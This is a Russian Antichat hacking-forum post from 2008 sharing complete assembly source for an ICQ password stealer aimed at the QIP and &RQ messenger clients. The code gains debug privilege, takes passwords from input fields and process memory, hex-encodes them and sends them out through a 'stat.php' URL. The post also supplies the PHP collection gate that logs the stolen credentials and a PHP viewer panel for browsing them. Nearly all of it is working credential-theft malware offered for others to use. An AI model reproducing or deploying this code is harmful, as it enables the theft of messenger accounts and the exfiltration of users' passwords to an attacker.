ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Чтение пароля из Qip
  #1  
Старый 27.05.2008, 14:39
Аватар для slesh
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию Чтение пароля из Qip

Прочитав пару статей по этой теме и вот когда то от нечего делать начал писать прогу на асме. Суть такова: Из запущенного экземпляра QIP она выдирает пароли двумя методами.
Ну и возможность из &RC выдирать пароль. НО протестить нормально не удалось
1) Из поля ввода пароля - 100% действует если пароль не сохраняется поддерживается до версии 8040.
2) Из оперативы считывается. поддерживается до версии 8020
Код конечно сыроватый, но мож кому пригодиться.
После компиляции выходит в 3 кила. Если выкинуть поддержку &RC то выдит 2,5 кила
Код:
format PE GUI on 'DosStub.exe'
entry _start
include 'win32ax.inc'
include 'encoding\win1251.inc'
section '.code' code readable executable import writeable
library kernel32,'KERNEL32.DLL',user32,'USER32.DLL', version, 'VERSION.DLL',  UrlMonLib,'URLMON.DLL',advapi32,'ADVAPI32.dll'
;---- моя примитивная секция импорта
include 'apia\kernel32.inc'
include 'apia\user32.inc'
include 'apia\advapi32.inc'

import version,GetFileVersionInfoSize,'GetFileVersionInfoSizeA',\
	       GetFileVersionInfo,'GetFileVersionInfoA',\
	       VerQueryValue,'VerQueryValueA'
import UrlMonLib,URLDownloadToFile,'URLDownloadToFileA'
;---- моя примитивная секция данных
 table db '0123456789ABCDEF'
 SeDebugPrivilege db 'SeDebugPrivilege',0
 slash db '\',0
 dvoetochie db ':',0
 tzap db '[-]',0
 TGroupBox db 'TGroupBox',0
 TComboBox db 'TComboBox',0
 TManForm db 'TManForm',0
 TMainForm db 'TMainForm',0
 TmainFrm db 'TmainFrm',0
 TEdit db 'TEdit',0
 TprefFrm db 'TprefFrm',0
 TPanel db 'TPanel',0
 TconnectionFr db 'TconnectionFr',0
 url_start db 'http://127.0.0.1/stat.php?data='
 url_end db 0
 VER_MAS dd 07090801h,07090900h,07090905h,07090907h,07090908h,08000000h,08000100h,08000200h
 ADR_MAS dd 0068128Ch,006862B4h,0068B2D0h,006962ECh,0069574Ch,006972ECh,0069F580h,0069F57Ch
;---- моя примитивная секция кода
proc AddToBuf,add_buf
 invoke lstrcat,[buffer],[add_buf]
 ret
endp

proc GetFileVer,PID
 invoke CreateToolhelp32Snapshot,0000000Fh, [PID]
 test eax,eax
 jz GetFileVer_exit
 mov [Handle],eax
 mov ebx,[MODULEENTRY32]
 mov dword [ebx],548
 invoke Module32First,eax,ebx
 test eax,eax
 jz GetFileVer_exit
 invoke CloseHandle,[Handle]
 add ebx,288
 invoke GetFileVersionInfoSize,ebx, Handle
 test eax,eax
 jz GetFileVer_exit
 mov [Size],eax
 invoke HeapAlloc,[myheap],0,eax
 mov [RezBuffer],eax
 invoke GetFileVersionInfo,ebx,Handle, [Size], eax
 test eax,eax
 jz GetFileVer_exit
 invoke VerQueryValue,[RezBuffer], slash, FixedFileInfoBuf, Size
 test eax,eax
 jz GetFileVer_exit
 mov ebx,[FixedFileInfoBuf]
 mov eax,[ebx+8]
 shr eax,16
 mov byte [Size+3],al
 mov eax,[ebx+8]
 mov byte [Size+2],al
 mov eax,[ebx+12]
 shr eax,16
 mov byte [Size+1],al
 mov eax,[ebx+12]
 mov byte [Size],al
 mov eax,[Size]
GetFileVer_exit:
 ret
endp

proc ReadData PID,ADR
 invoke OpenProcess,0410h, 0, [PID]
 test eax,eax
 jz ReadData_exit
 mov [hp],eax
 invoke ReadProcessMemory,eax, [ADR], Size, 4, [t]
 invoke ReadProcessMemory,[hp], [Size], buf, 10, [t]
 invoke CloseHandle,[hp]
ReadData_exit:
 ret
endp

proc GetPas,PID
 stdcall GetFileVer,[PID]
 xor ecx,ecx
 dec ecx
GetPas_m1:
 inc ecx
 cmp ecx,8
 je GetPas_exit
 cmp eax,[VER_MAS+ecx*4]
 jne GetPas_m1
 stdcall ReadData,[PID],[ADR_MAS+ecx*4]
GetPas_exit:
 ret
endp


proc QIP_MEM
 invoke FindWindow,TMainForm,0
QIP_MEM_next:
 test eax,eax
 mov [h],eax
 jz QIP_MEM_exit
 invoke GetWindowText,eax,buf,20
 cmp dword [buf],'[qip'
 jne QIP_MEM_next1
 invoke GetWindowThreadProcessId,[h],PID
 stdcall AddToBuf,buf+8
 stdcall AddToBuf,dvoetochie
 stdcall GetPas,[PID]
 stdcall AddToBuf,buf
 stdcall AddToBuf,tzap
QIP_MEM_next1:
 invoke GetWindow,[h],2
 jmp QIP_MEM_next
QIP_MEM_exit:
 ret
endp

proc QIP_WND_GETPASS,hManForm
 invoke FindWindowEx,[hManForm],0,TGroupBox,0
 test eax,eax
 jz QIP_WND_GETPASS_exit
 push eax
 invoke FindWindowEx,eax,0,TComboBox,0
 test eax,eax
 jz QIP_WND_GETPASS_exit
 invoke SendMessage,eax, WM_GETTEXT, 10, buf
 xor ecx,ecx
cicle:
 cmp ecx,20
 je nextt
 inc ecx
 cmp byte [buf+ecx],' '
 jne cicle
 mov byte [buf+ecx],0
nextt:
 stdcall AddToBuf,buf
; cmp dword [buf],'NONE'
; je QIP_WND_GETPASS_exit
 pop eax
 invoke FindWindowEx,eax,0,TEdit,0
 test eax,eax
 jz QIP_WND_GETPASS_exit
 invoke SendMessage,eax, WM_GETTEXT, 20, buf
 stdcall AddToBuf,dvoetochie
 stdcall AddToBuf,buf
 stdcall AddToBuf,tzap
QIP_WND_GETPASS_exit:
 ret
endp

proc QIP_WND
 invoke FindWindow,TManForm,0
cicle2:
 test eax,eax
 jz QIP_WND_exit
 push eax
 stdcall QIP_WND_GETPASS,eax
 pop eax
 invoke GetWindow,eax,2
 jmp cicle2
QIP_WND_exit:
 ret
endp

proc Krisa_WND_GETPASS,hmainFrm
 invoke GetClassName,[hmainFrm],buf,10
 cmp dword [buf],'Tmai'
 jne Krisa_WND_GETPASS_exit
 invoke SendMessage,[hmainFrm], WM_SYSKEYDOWN,80, 20000000h
 invoke SendMessage,[hmainFrm], WM_SYSKEYUP, 80, 20000000h
 invoke FindWindow,TprefFrm,0
 test eax,eax
 jz Krisa_WND_GETPASS_exit
 invoke FindWindowEx,eax,0,TPanel,0
 test eax,eax
 jz Krisa_WND_GETPASS_exit
 invoke FindWindowEx,eax,0,TconnectionFr,0
 test eax,eax
 jz Krisa_WND_GETPASS_exit
 invoke FindWindowEx,eax,0,TEdit,0
 test eax,eax
 jz Krisa_WND_GETPASS_exit
 push eax
 invoke SendMessage,[hmainFrm], WM_GETTEXT, 20, buf
 stdcall AddToBuf,buf
 stdcall AddToBuf,dvoetochie
 pop eax
 invoke SendMessage,eax, WM_GETTEXT, 20, buf
 stdcall AddToBuf,buf
 stdcall AddToBuf,tzap
Krisa_WND_GETPASS_exit:
 ret
endp


proc Krisa_WND
 invoke FindWindow,TmainFrm,0
cicle3:
 test eax,eax
 jz Krisa_WND_exit
 push eax
 stdcall Krisa_WND_GETPASS,eax
 pop eax
 invoke GetWindow,eax,2
 jmp cicle3
Krisa_WND_exit:
 ret
endp


proc SetDBG
 push ebp
 mov ebp,esp
 sub esp,24h
 invoke OpenProcessToken, -1, 28h, esp
 test eax,eax
 jz @F
 lea eax, [esp+8]
 invoke LookupPrivilegeValue, 0,SeDebugPrivilege, eax
 test eax,eax
 jz @F
 mov dword [esp+14h],1
 mov eax, [esp+8]
 mov [esp+18h], eax
 mov eax, [esp+0Ch]
 mov [esp+1Ch], eax
 mov dword [esp+20h], 2
 lea eax, [esp+10h]
 push eax
 lea eax, [esp+18h]
 push eax
 push 10h
 lea eax, [esp+20h]
 push eax
 push 0
 mov eax, [esp+14h]
 push eax
 call [AdjustTokenPrivileges]
@@:
 leave
 ret
endp

_start:
 stdcall SetDBG
 invoke GetProcessHeap
 mov [myheap],eax
 invoke HeapAlloc,eax,0,1024
 mov [buffer],eax
 mov byte [eax],0
 invoke HeapAlloc,[myheap],0,1024
 mov [MODULEENTRY32],eax
 stdcall QIP_MEM
 stdcall QIP_WND
 stdcall Krisa_WND
 invoke lstrlen,[buffer]
 test eax,eax
 jnz dalee
 invoke ExitProcess,0
dalee:
 mov [Size],eax
 shl eax,2
 invoke HeapAlloc,[myheap],0,eax
 invoke lstrcpy,eax,url_start
 dec edx
 xor ecx,ecx
cicle4:
 mov eax,[buffer]
 mov ah,[eax+ecx]
 mov al,ah
 shr ah,4
 and al,0fh
 mov ebx,table
 xlatb
 xchg ah,al
 xlatb
 mov word [edx+ecx*2],ax
 inc ecx
 cmp ecx,[Size]
 jne cicle4
 mov byte [edx+ecx*2],0
 sub edx,url_end-url_start
 invoke URLDownloadToFile,0,edx,TEdit,0,0
 invoke ExitProcess,0
 buf db 21 dup (0)
 myheap dd 0
 buffer dd 0
 Size dd 0
 PID dd 0
 MODULEENTRY32 dd 0
 h dd 0
 hp dd 0
 t dd 0
 Handle dd 0
 RezBuffer dd 0
 FixedFileInfoBuf dd 0
А вот скрипты для работы с ним
Непосредственно гейт
Код:
<?
$data=$_GET['data'];
$out='';
$f=fopen('ICQ.txt','a+');
while ($x<strlen($data))
{
$temp=$data[$x].$data[$x+1];
$out.=chr(HexDec($temp));
$x+=2;
}
fputs($f,date("d.m.Y H:i:s").'[-]'.getenv("REMOTE_ADDR").'[-]'.$out."\r\n");
fclose($f);
?>
Ну и скрипт для удобного проссмотра
Код:
<?
$admin_user='123456';
$admin_pass='123456';
if ($admin_user!=$_SERVER['PHP_AUTH_USER']||$admin_pass!=$_SERVER['PHP_AUTH_PW'])
 {
   Header('WWW-Authenticate: Basic realm="Enter login & password"'); 
   Header('HTTP/1.0 401 Unauthorized');
   echo "Sorry, Access Denied";
   exit;
 }

echo '<html><body bgcolor="black" text="white">';
$f=file('ICQ.txt');
for ($x=0;$x<count($f);$x++)
{
 $z=explode('[-]',$f[$x]);
 for ($y=2;$y<count($z);$y++)
  {
   list($UIN,$PASS)=explode(':',$z[$y],2);
   if ($PASS!='<:HIDDEN:>'&&strpos($PASS,'[qip] - ')===FALSE&&strlen($PASS)>0&&strlen($UIN)>4&&strlen($UIN)<10)
    {
	 if (!@in_array($UIN.';'.$PASS,$acc[strlen($UIN)])) $acc[strlen($UIN)][]=$UIN.';'.$PASS;
    }
  }
 }

echo '<table><tr valign="top">'; 
for ($y=0;$y<10;$y++)
 {
  @sort($acc[$y]);
  if (count($acc[$y])>0)
   {
     echo '<td><FIELDSET><LEGEND>[  '.$y.'  ]</LEGEND>';
     for ($x=0;$x<count($acc[$y]);$x++) echo HtmlSpecialChars($acc[$y][$x]).'<br>';
	 echo '</FIELDSET></td>';
   }
  }
echo '</tr></table></body></html>';
?>
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Методы "вспоминания" пароля (от мыла) censored! E-Mail 175 05.06.2010 16:57
qip 8050 и холодный РЕБУТ truelamer Болталка 7 30.03.2008 21:45
QC (QIP Crypto) - OpenPGP шифрование сообщений [Paran0ik] Безопасность 3 02.02.2008 19:25
Аудит аутентификации на Web-сайтах. Часть первая k00p3r Чужие Статьи 0 13.06.2005 11:22
ВЗЛОМ ПАРОЛЯ. BOOM Болталка 3 03.08.2004 07:12



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ